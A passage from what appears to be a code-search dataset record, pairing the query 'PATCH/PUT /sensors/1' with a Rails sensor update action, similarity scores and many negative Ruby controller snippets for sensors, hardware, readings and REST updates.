"def create\n @hardware = Hardware.new(hardware_params)\n\n respond_to do |format|\n if @hardware.save\n format.html { redirect_to @hardware, notice: 'Hardware was successfully created.' }\n format.json { render :show, status: :created, location: @hardware }\n else\n format.html { render :new }\n format.json { render json: @hardware.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"def create\n @therm_resource = ThermResource.new(therm_resource_params)\n\n respond_to do |format|\n if @therm_resource.save\n format.html { redirect_to @therm_resource, notice: 'Therm resource was successfully created.' }\n format.json { render :show, status: :created, location: @therm_resource }\n else\n format.html { render :new }\n format.json { render json: @therm_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n params[:traceroute].each do |tr|\n Traceroute.create(:server => tr[:server], :local_ip => tr[:local_ip], :stdout => tr[:stdout], :stderr => tr[:stderr], :exit_status => tr[:exit_status], :timestamp => tr[:timestamp])\n end\n\n\n\n #puts \"hello #{params}\"\n #@hello = params\n #@hello.map { |k,v| puts \"#{k} is #{v}\" }\n #traceroute_params.each do |v|\n # traceroute = Traceroute.create(v)\n #end\n\n respond_to do |format|\n format.all { render :nothing => true, :status => 200 }\n end\n #@traceroute = Traceroute.new(params)\n\n #respond_to do |format|\n # if @traceroute.save\n # format.html { redirect_to @traceroute, notice: 'Traceroute was successfully created.' }\n # format.json { render action: 'show', status: :created, location: @traceroute }\n # else\n # format.html { render action: 'new' }\n # format.json { render json: @traceroute.errors, status: :unprocessable_entity }\n # end\n #end\n end",
"def create\n @pedometer_reading = PedometerReading.new(pedometer_reading_params)\n\n respond_to do |format|\n if @pedometer_reading.save\n format.html { redirect_to @pedometer_reading, notice: 'Pedometer reading was successfully created.' }\n format.json { render :show, status: :created, location: @pedometer_reading }\n else\n format.html { render :new }\n format.json { render json: @pedometer_reading.errors, status: :unprocessable_entity }\n end\n end\n end",
"def sensor_record_params\n ActiveModelSerializers::Deserialization.jsonapi_parse(params)\n end",
"def post endpoint, data\n do_request :post, endpoint, data\n end",
"def index\n @sensor = Sensor.find(params[:id])\n @values = @sensor.values\n # render json: @values\n\n s = []\n for v in @values \n s.push( { :id => v.id, :decibel => v.decibel } )\n end\n render json: s\n\n end",
"def create\n\n # Save last known user's geo location\n if !params[:geo_lat].nil? && !params[:geo_lon].nil?\n @current_user.geo_lat = params[:geo_lat]\n @current_user.geo_lon = params[:geo_lon]\n if !params[:timezone].nil?\n @current_user.timezone = params[:timezone]\n end\n @current_user.save\n end\n\n @api_v1_device = Api::V1::Device.where('token = ? AND user_id = ? ', params[:token], @current_user.id).first\n\n if @api_v1_device.nil?\n @api_v1_device = Api::V1::Device.new(api_v1_device_params) \n @api_v1_device.user_id = @current_user.id \n \n if !@api_v1_device.save\n render json: @api_v1_device.errors, status: :unprocessable_entity\n else\n head :no_content\n end\n else\n head :no_content\n end\n end",
"def update\n respond_to do |format|\n if @sensor.update(sensor_params)\n flash[:success] = 'Sensor was successfully updated.'\n format.html { redirect_to @sensor }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sensor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @fire_station = FireStation.new(fire_station_params)\n\n respond_to do |format|\n if @fire_station.save\n format.html { redirect_to @fire_station, notice: 'Fire station was successfully created.' }\n format.json { render :show, status: :created, location: @fire_station }\n else\n format.html { render :new }\n format.json { render json: @fire_station.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @mysensors = current_user.sensors\n @othersensors=Array.new\n current_user.misuration_subscriptions.each do |ss|\n @othersensors.push(ss.sensor)\n end\n\n def aggiorna_firmware\n @sensors = Sensor.find(params[:id])\n end \n\n end",
"def register\n physical_entity = {name: @name, description: @description, location:@location}\n virtual_entity = {uuid: nil}\n body = {body: {device: {name: @name, \n description: @description, \n model_name: @model, \n location: @location,\n physical_entity_attributes: physical_entity,\n virtual_entity_attributes: virtual_entity}}}\n response = self.class.post(API+'/devices', body)\n @uuid = response['uuid']\n end",
"def index\n @sensors = Sensor.user_sensors current_user\n end",
"def update\n respond_to do |format|\n if @sensor.update(sensor_params)\n format.html { redirect_to @sensor, notice: 'Sensor was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sensor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sensor.update(sensor_params)\n format.html { redirect_to @sensor, notice: 'Sensor was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sensor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @sensor_data = SensorDatum.all\n end",
"def index\n @sensors = Sensor.all\n respond_to do |format|\n format.html\n format.js\n end\n end",
"def create\n @weather_reading = WeatherReading.new(weather_reading_params)\n\n respond_to do |format|\n if @weather_reading.save\n format.html { redirect_to @weather_reading, notice: 'Weather reading was successfully created.' }\n format.json { render :show, status: :created, location: @weather_reading }\n else\n format.html { render :new }\n format.json { render json: @weather_reading.errors, status: :unprocessable_entity }\n end\n end\n end",
"def addArduino\n type = params[\"type\"].to_s\n logger.debug \"Will create \"+type\n arduinoNumber = rand(9999999)\n arduinoNumber2 = rand(9999999)\n arduinoNumber3 = rand(9999999)\n case type\n when 'dht11'\n arduinoPart = 'sensors/dht11'\n when 'light'\n arduinoPart = 'sensors/light'\n when 'led'\n arduinoPart = 'sensors/led'\n when 'switch'\n arduinoPart = 'sensors/switch'\n when 'motor'\n arduinoPart = 'sensors/motor'\n when 'lightbulb'\n arduinoPart = 'sensors/lightbulb'\n when 'smartdoor'\n arduinoPart = 'sensors/smartdoor'\n else\n arduinoPart = 'sensors/dht11'\n end\n\n respond_to do |format|\n format.json {render :json => { :value => render_to_string(:partial => arduinoPart, :formats => [:html], :layout => false, :locals => {:arduinoNumber => arduinoNumber, :arduinoNumber2 => arduinoNumber2, :arduinoNumber3 => arduinoNumber3}) }.to_json}\n end\n end",
"def parse_sensors\n sensors = Array.new\n @data[7..12].map.with_index do |s,i|\n index = 7 + i\n zipped = @data[6].zip(@data[index])\n sensors[i] = WFSensor.new\n s.map.with_index do |e,n|\n case n\n when 0\n sensors[i].type = e\n when 1\n sensors[i].present = e \n when 2\n sensors[i].smrec = e\n when 3\n sensors[i].zeroavg = e\n when 4\n sensors[i].model = e \n end\n end\n end\n return sensors\n end"
] | [
"0.7137672",
"0.69938827",
"0.69076943",
"0.6834126",
"0.6659618",
"0.6618718",
"0.65169317",
"0.63745844",
"0.63265955",
"0.6229061",
"0.61728895",
"0.6155715",
"0.611579",
"0.6109327",
"0.6090812",
"0.6075705",
"0.603692",
"0.59785604",
"0.58897495",
"0.5854673",
"0.5819852",
"0.5813173",
"0.5781556",
"0.57583857",
"0.5726577",
"0.57199806",
"0.5717274",
"0.5712111",
"0.57081807",
"0.5686522",
"0.56589806",
"0.5651725",
"0.5619441",
"0.5595044",
"0.55817896",
"0.55778956",
"0.5569181",
"0.5508265",
"0.55067337",
"0.55000865",
"0.5499553",
"0.5492316",
"0.5473979",
"0.54611593",
"0.54611593",
"0.54611593",
"0.54611593",
"0.54611593",
"0.54611593",
"0.54549825",
"0.54520047",
"0.5448976",
"0.543589",
"0.54256284",
"0.54162186",
"0.53766656",
"0.53616875",
"0.5349447",
"0.53481656",
"0.5338399",
"0.5334596",
"0.53318655",
"0.53064424",
"0.5302589",
"0.52734554",
"0.526694",
"0.52478254",
"0.5244677",
"0.52347666",
"0.5232795",
"0.5225283",
"0.5221216",
"0.5220475",
"0.52203995",
"0.5217645",
"0.5198528",
"0.5197489",
"0.5196285",
"0.51857454",
"0.5178538",
"0.51676655",
"0.5164559",
"0.5157678",
"0.5155114",
"0.5138121",
"0.51380455",
"0.5136585",
"0.5128926",
"0.51272917",
"0.5118843",
"0.5110908",
"0.5105155",
"0.51043236",
"0.510306",
"0.510306",
"0.50940555",
"0.5086189",
"0.50860804",
"0.50692284",
"0.5068917"
] | 0.6537768 | 6 |
PATCH/PUT /sensors/1 PATCH/PUT /sensors/1.json | def update
respond_to do |format|
if @sensor.update(sensor_params) && @sensor.user_id==current_user.id
format.html { redirect_to @sensor, notice: 'Sensore aggiornato correttamente' }
format.json { render :show, status: :ok, location: @sensor }
else
format.html {
flash[:notice] = 'Non puoi modificare un sensore non tuo!'
render :edit }
format.json { render json: @sensor.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n if @sensor.update(sensor_params)\n render json: { status: :ok }\n else\n render json: { status: :unprocessable_entity }\n end\n end",
"def update\n @sensor = Sensor.find(params[:id])\n\n if @sensor.update(params[:sensor])\n head :no_content\n $redis.publish('sensors.update', { :name => @sensor.name, :value => @sensor.value, :id => @sensor.id}.to_json)\n else\n render json: @sensor.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @sensor.update(sensor_params)\n format.html { redirect_to @sensor, notice: 'Sensor was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sensor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sensor.update(sensor_params)\n format.html { redirect_to @sensor, notice: 'Sensor was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sensor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sensor.update(sensor_params)\n flash[:success] = 'Sensor was successfully updated.'\n format.html { redirect_to @sensor }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sensor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update\n @temperature_sensor = TemperatureSensor.find(params[:id])\n\n respond_to do |format|\n if @temperature_sensor.update_attributes(params[:temperature_sensor])\n format.html { redirect_to @temperature_sensor, :notice => 'Temperature sensor was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @temperature_sensor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update\n respond_to do |format|\n if @sensor_data.update(sensor_data_params)\n format.html { redirect_to @sensor_data, notice: 'Sensor data was successfully updated.' }\n format.json { render :show, status: :ok, location: @sensor_data }\n else\n format.html { render :edit }\n format.json { render json: @sensor_data.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(resource,identifier,json)\n raise 'Not Yet Implemented'\n end",
"def update\n put :update\n end",
"def update(attrs, path=nil)\n resp = api_client.put(path || url, JSON.dump(attrs))\n refresh(JSON.load(resp.body))\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def put(id, json)\n with_endpoint do |endpoint|\n url = [endpoint, @resource_name, id].compact.join('/')\n url += \"/\" \n return HTTParty.put(url, :body => json, :timeout => 4, :headers => { 'Content-Type' => 'application/json' })\n end\n end",
"def update id, rssi, status, battery\n unless @sensors[id]\n @sensors[id] = Sensor.new(id)\n end\n @sensors[id].rssi = rssi\n @sensors[id].name = \"GSS_13M_??\"\n @sensors[id].group = \"GSS_13M\"\n @sensors[id].updated_time = Time.now\n @sensors[id].last_press_time = Time.now if status == 1\n @sensors[id].battery = battery\n end",
"def update\n respond_to do |format|\n params = sensor_params\n params[:day_start_time] = parse_time params[:day_start_time] { @sensor.errors.add :day_start_time, t(:invalid_time) }\n params[:night_start_time] = parse_time params[:night_start_time] { @sensor.errors.add :night_start_time, t(:invalid_time) }\n if @sensor.errors.empty? and @sensor.update(params)\n MQTTService.instance.set_settings(@sensor)\n\n format.html { redirect_to sensors_path, notice: t(:sensor_updated) }\n format.json { render :show, status: :ok, location: @sensor }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @sensor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @accelerometer.update(accelerometer_params)\n format.html { redirect_to @accelerometer, notice: 'Accelerometer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @accelerometer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\t@sensor = Sensor.find(params[:sensor_id])\n @reading = Reading.find(params[:id])\n\n respond_to do |format|\n if @reading.update_attributes(params[:reading])\n format.html { redirect_to sensor_reading_url(@sensor, @reading) }\n\t\t\t\tformat.js\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @reading.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n respond_to do |format|\n if @iot.update(iot_params)\n format.html { redirect_to @iot, notice: 'Iot was successfully updated.' }\n format.json { render :show, status: :ok, location: @iot }\n else\n format.html { render :edit }\n format.json { render json: @iot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def put!\n request! :put\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update(*args)\n put(*args)\n end",
"def update(*args)\n put(*args)\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def update(params)\n self.class.new reinit_endpoint(params).do_put\n end",
"def update\n respond_to do |format|\n if @api_v1_resource.update(api_v1_resource_params)\n format.html { redirect_to @api_v1_resource, notice: 'Resource was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_resource }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch_resource(payload)\n execute(resource_path, method: :patch, payload: payload.to_json)\n end",
"def patch(path, body_params = {})\n debug_log \"PATCH #{@host}#{path} body:#{body_params}\"\n headers = { 'Content-Type' => 'application/json' }\n res = connection.run_request :put, path, body_params.to_json, headers\n debug_log \"Response status:#{res.status}, body:#{res.body}\"\n res\n end",
"def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n update_save(@sensor_datum, sensor_datum_params, \"Sensor datum\")\n end",
"def update_firmware(attributes = {})\n patch('replace', '/firmware', attributes)\n end",
"def update_radios_for_array(args = {}) \n id = args['id']\n temp_path = \"/radios.json/{arrayId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"radioId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n respond_to do |format|\n if @restroom.update(restroom_params)\n format.html { redirect_to @restroom, notice: 'Restroom was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @restroom.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update(uri, payload)\n url = \"#{@config[:base_url]}#{@config[:rest_path]}/#{extract_pid(uri)}\"\n request = Request.new(\n \"Put\", url, payload.to_s, {\n \"Accept\" => \"application/json\",\n \"Content-Type\" => \"application/json\",\n \"Content-Length\" => \"nnnn\",\n @auth_header => @token\n }\n )\n response = request.perform\n response\n end",
"def update\n respond_to do |format|\n if @sensor_event_action.update(sensor_event_action_params)\n format.html { redirect_to @sensor_event_action, notice: 'Sensor event action was successfully updated.' }\n format.json { render :show, status: :ok, location: @sensor_event_action }\n else\n format.html { render :edit }\n format.json { render json: @sensor_event_action.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(path)\n output { patch(path, params) }\n end",
"def update\n @device.update(device_params)\n head :no_content\n end",
"def update\n respond_to do |format|\n if @major.update(major_params)\n format.html { redirect_to @major, notice: 'Major was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @major.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vehicle_realtime.update(vehicle_realtime_params)\n format.html { redirect_to @vehicle_realtime, notice: 'Vehicle realtime was successfully updated.' }\n format.json { render :show, status: :ok, location: @vehicle_realtime }\n else\n format.html { render :edit }\n format.json { render json: @vehicle_realtime.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end",
"def update\n @standard_measurement = StandardMeasurement.find(params[:id])\n\n respond_to do |format|\n if @standard_measurement.update_attributes(params[:standard_measurement])\n format.html { redirect_to @standard_measurement, notice: 'Standard measurement was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @standard_measurement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(url, payload, headers={})\n RestClient.patch url, payload, headers\n end",
"def UpdateView params = {}\n \n APICall(path: 'views.json',method: 'PUT',payload: params.to_json)\n \n end",
"def update\n respond_to do |format|\n if @device.update(device_params)\n format.json { head :no_content }\n else\n format.json { render json: {errors: @device.errors}, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def update\n @actuator = Actuator.find(params[:id])\n\n respond_to do |format|\n if @actuator.update_attributes(params[:actuator].each_value(&:strip!))\n format.html { redirect_to(@actuator, :notice => 'Actuator was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @actuator.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def patch(path, params)\n time(\"PATCH #{path}\") { Cloudflarer.new.patch(path, params) }\n end",
"def http_put(path, data, content_type = 'application/json')\n http_methods(path, :put, data, content_type)\n end",
"def update_location(params)\n @client.put(\"#{path}/location\", nil, params, \"Content-Type\" => \"application/json\")\n end",
"def put(*args)\n request :put, *args\n end",
"def update\n id = params[:id]\n @physical_rack = PhysicalRack.any_of({_id: id}, {name: id.gsub('-', '.')}).first\n @physical_rack.attributes = params[:physical_rack]\n @physical_rack.audits << Audit.new(source: 'controller', action: 'update', admin_user: current_user)\n respond_to do |format|\n if @physical_rack.save\n format.html { redirect_to @physical_rack, notice: 'Physical rack was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @physical_rack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(context)\n context.request.body.rewind # in case someone already read it\n\n begin\n data = JSON.parse(context.request.body.read)\n rescue JSON::ParserError\n context.halt(406, { status: 'error', message: 'Not acceptable JSON payload' }.to_json)\n end\n\n set_resource(context)\n\n begin\n permitted_params = resource_fields.map { |k| k[:name] }\n permitted_params = data.select { |k, _| permitted_params.include?(k) }\n\n if instance_variable_get(:\"@#{resource_name}\").update_attributes(permitted_params)\n instance_variable_get(:\"@#{resource_name}\").reload\n instance_variable_get(:\"@#{resource_name}\").to_json\n else\n errors = instance_variable_get(:\"@#{resource_name}\").errors.map { |k, v| \"#{k}: #{v}\" }.join('; ')\n context.halt(406, { status: 'error', message: errors }.to_json)\n end\n rescue StandardError => e\n context.halt(500, { status: 'error', message: e.message }.to_json)\n end\n end",
"def update!\n raise Error::NotImplementedError, \"There is no current end point to update sensor data by id\"\n end",
"def update\n status_unsupported_media_type && return unless content_type_header?\n\n # Parse in the FHIR::Patient\n contents = FHIR.from_contents(request.body.string)\n status_bad_request && return if contents.nil? || !contents.valid?\n\n resource_type = params.permit(:resource_type)[:resource_type]&.downcase\n case resource_type\n when 'patient'\n updates = Patient.from_fhir(contents).select { |_k, v| v.present? }\n resource = get_patient(params.permit(:id)[:id])\n else\n status_bad_request && return\n end\n\n status_forbidden && return if resource.nil?\n\n # Try to update the resource\n status_bad_request && return if updates.nil? || !resource.update(updates)\n\n status_ok(resource.as_fhir) && return\n rescue StandardError\n render json: operation_outcome_fatal.to_json, status: :internal_server_error\n end",
"def patch(attrs = nil)\n attrs ||= attributes.changed_attributes\n\n execute_request('PATCH') do |uri, headers|\n HTTP.http_client.patch(\n uri,\n body: adapter.serialize(attrs),\n header: headers.merge(CONTENT_TYPE_HEADERS)\n )\n end\n end",
"def update\n respond_to do |format|\n if @major.update(major_params)\n format.html { redirect_to @major, notice: 'Major was successfully updated.' }\n format.json { render :show, status: :ok, location: @major }\n else\n format.html { render :edit }\n format.json { render json: @major.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lens = Lens.find(params[:id])\n attrb = select_params(lens_params)\n # linear_data is an array of Objects of Components Properties\n # that needs to be deserialized correctly\n attrb[\"linear_data\"] = JSON.parse(attrb[\"linear_data\"])\n lens = Lens.update(attrb)\n \n # @lens.update(lens_params)\n # render inline: \"<%= @lens.id %>\"\n end",
"def update!(**args)\n @geometries = args[:geometries] if args.key?(:geometries)\n @id = args[:id] if args.key?(:id)\n @type = args[:type] if args.key?(:type)\n end",
"def update(id: nil, body: nil)\n perform(:put, \"#{@resource_type}/#{id}\", body)\n end",
"def put payload, path = \"\"\n make_request(path, \"put\", payload)\n end",
"def update\n respond_to do |format|\n if @spi.update(spi_params)\n format.html { redirect_to @spi, notice: 'Spi was successfully updated.' }\n format.json { render :show, status: :ok, location: @spi }\n else\n format.html { render :edit }\n format.json { render json: @spi.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @resource = args[:resource] unless args[:resource].nil?\n @status = args[:status] unless args[:status].nil?\n @time_nanos = args[:time_nanos] unless args[:time_nanos].nil?\n end",
"def update\n render json: Location.update(params[\"id\"], params[\"location\"])\n end",
"def update\n # actions\n path = URI(@endpoint).path\n action = URI(@req.request_uri).path.sub(path, '').split('/')\n action -= ['']\n if action.include?('_history')\n @actions = [action[0], '_history']\n else\n @actions = [action[0]]\n end\n\n # search param\n req_query = URI(@req.request_uri).query\n unless req_query.nil?\n @req_params = URI::decode_www_form(req_query).to_h\n end\n\n # requst method\n if @req.request_method == \"GET\" and @actions.include? '_history'\n @req_method = 'vread'\n elsif @req.request_method == \"GET\" and @req_params != nil\n @req_method = 'search-type'\n elsif @req.request_method == \"PUT\"\n @req_method = 'update'\n elsif @req.request_method == \"POST\"\n @req_method = 'create'\n else\n @req_method = 'read'\n end\n\n # interaction\n int1 = Interaction.last type: @actions[0], code: @req_method\n if int1.nil?\n @present = 0\n else\n @present = int1.id\n @intCode = int1.valueCode\n end\n end",
"def update\n request_body_Data= '{ \"widget\":\n {\n \"name\" : \"'+params[:name]+'\",\n \"description\" : \"'+params[:description]+'\"\n }}'\n response = RestClient::Request.new({\n method: :put,\n url: ENV['API_URL'] + '/widgets/' + params[:id],\n payload: request_body_Data,\n headers: { Authorization: session[:access_token], content_type: 'application/json'}\n }).execute do |response, request, result|\n case response.code\n when 400\n [ :error, JSON.parse(response) ]\n when 200\n [ :success, JSON.parse(response) ]\n json=JSON.parse(response)\n @widget= Widget.new do |widget|\n widget.id=json[\"data\"][\"widget\"][\"id\"]\n widget.name=json[\"data\"][\"widget\"][\"name\"]\n widget.description=json[\"data\"][\"widget\"][\"description\"]\n widget.kind=json[\"data\"][\"widget\"][\"kind\"]\n widget.userid=json[\"data\"][\"widget\"][\"user\"][\"id\"]\n widget.username=json[\"data\"][\"widget\"][\"user\"][\"name\"]\n widget.owner=json[\"data\"][\"widget\"][\"owner\"]\n end\n else\n fail \"Invalid response #{response.to_str} received.\"\n end\n end\n respond_to do |format|\n if @widget\n format.html { redirect_to @widget, notice: 'Widget was successfully updated.' }\n format.json { render :show, status: :ok, location: @widget }\n else\n format.html { render :edit }\n format.json { render json: @widget.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(payload)\n post_like payload, Net::HTTP::Patch.new(@uri.path)\n end",
"def put endpoint, data\n do_request :put, endpoint, data\n end",
"def jsonapi_update!(attributes)\n assign_jsonapi_attributes(attributes)\n save!\n end",
"def update\n params[:thing][:time] = @thing.time + params[:thing][:time].to_f if @thing.time\n\n respond_to do |format|\n if @thing.update(thing_params)\n format.html { redirect_to things_url, notice: 'The thing was updated.' }\n format.json { render :show, status: :ok, location: @thing }\n\n # Realtime push\n message = {:channel => '/things', :data => { :name => @thing.name, :time => @thing.time}}\n uri = URI.parse(\"http://localhost:9292/faye\")\n Net::HTTP.post_form(uri, :message => message.to_json)\n else\n format.html { render :edit }\n format.json { render json: @thing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n\n format.json { render json: Axis.find(params[:id]).update( name: params[:name]) }\n end\n\n # end\n end",
"def update\n @hardware = Hardware.find(params[:id])\n\n respond_to do |format|\n if @hardware.update_attributes(params[:hardware])\n format.html { redirect_to @hardware, :notice => 'Hardware was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @hardware.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @restroom = Restroom.find(params[:id])\n authorize @restroom\n\n respond_to do |format|\n if @restroom.update_attributes(params[:restroom])\n format.html { redirect_to @restroom, notice: 'Restroom was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @restroom.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @major = Major.find(params[:id])\n\n respond_to do |format|\n if @major.update_attributes(params[:major])\n format.html { redirect_to @major, notice: 'Major was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @major.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to(@product, :notice => 'Product was successfully updated.') }\n format.xml { head :ok }\n format.json { head :ok }\n\n # RhoConnect server\n server = \"http://127.0.0.1:9292\"\n login = \"rhoadmin\"\n password = \"\"\n\n # Login to the RhoConnect server\n res = RestClient.post(\"#{server}/login\", { :login => login, :password => password }.to_json, :content_type => :json)\n\n # Get the token from the login response\n token = RestClient.post(\"#{server}/api/get_api_token\", '', { :cookies => res.cookies })\n\n # Send a ping message, which triggers a ping on the device\n ping_params = {\n :api_token => token,\n :user_id => [\"bhanu\"], # user_id that this message is for\n :sources => [\"Product\"], # sources we want to sync when this message is received\n :vibrate => \"2\",\n :message => \"#{params[:product][:name]} has been updated\",\n :sound => ''\n }\n\n RestClient.post(\"#{server}/api/ping\", ping_params.to_json, :content_type => :json)\n\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update(data = :object || :json)\n end",
"def update_resource(resource, params)\n check_id_uniformity(params)\n resource.assign_attributes(json_api_attributes(params))\n authorize resource, :update?\n resource.save!\n resource\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n @resource = args[:resource] if args.key?(:resource)\n @status = args[:status] if args.key?(:status)\n @sub = args[:sub] if args.key?(:sub)\n @time = args[:time] if args.key?(:time)\n end",
"def update(params = {})\n raise \"Can't update a resource without a REST Client\" unless @client\n set_up_properties_from(@client.post(@path, params))\n self\n end",
"def update\n @restroom = Restroom.find(params[:id])\n authorize! :update, @restroom\n\n respond_to do |format|\n if @restroom.update_attributes(params[:restroom])\n format.html { redirect_to @restroom, notice: 'Restroom was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @restroom.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @restroom = Restroom.find(params[:id])\n authorize! :update, @restroom\n\n respond_to do |format|\n if @restroom.update_attributes(params[:restroom])\n format.html { redirect_to @restroom, notice: 'Restroom was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @restroom.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_rest\n @instrument_version = InstrumentVersion.find(params[:id])\n\n respond_to do |format|\n if @instrument_version.update_attributes(params[:instrument_version])\n flash[:notice] = 'InstrumentVersion was successfully updated.'\n format.html { redirect_to(@instrument_version) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @instrument_version.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @heartbeat = Heartbeat.find(params[:id])\n\n respond_to do |format|\n if @heartbeat.update_attributes(params[:heartbeat])\n format.html { redirect_to @heartbeat, notice: 'Heartbeat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @heartbeat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(params = {})\n raise \"Can't update a resource without a REST Client\" unless @client\n yield params if block_given?\n set_up_properties_from(@client.put(@path, params))\n self\n end",
"def update!(**args)\n @resource_type = args[:resource_type] if args.key?(:resource_type)\n @service = args[:service] if args.key?(:service)\n @version = args[:version] if args.key?(:version)\n end",
"def update\n respond_to do |format|\n puts \"THERM #{therm_resource_params}\"\n if @therm_resource.update(therm_resource_params)\n format.html { redirect_to @therm_resource, notice: 'Therm resource was successfully updated.' }\n format.json { render :show, status: :ok, location: @therm_resource }\n else\n format.html { render :edit }\n format.json { render json: @therm_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @rest_api.update(rest_api_params)\n format.html { redirect_to @rest_api, notice: 'Rest api was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @rest_api.errors, status: :unprocessable_entity }\n end\n end\n end",
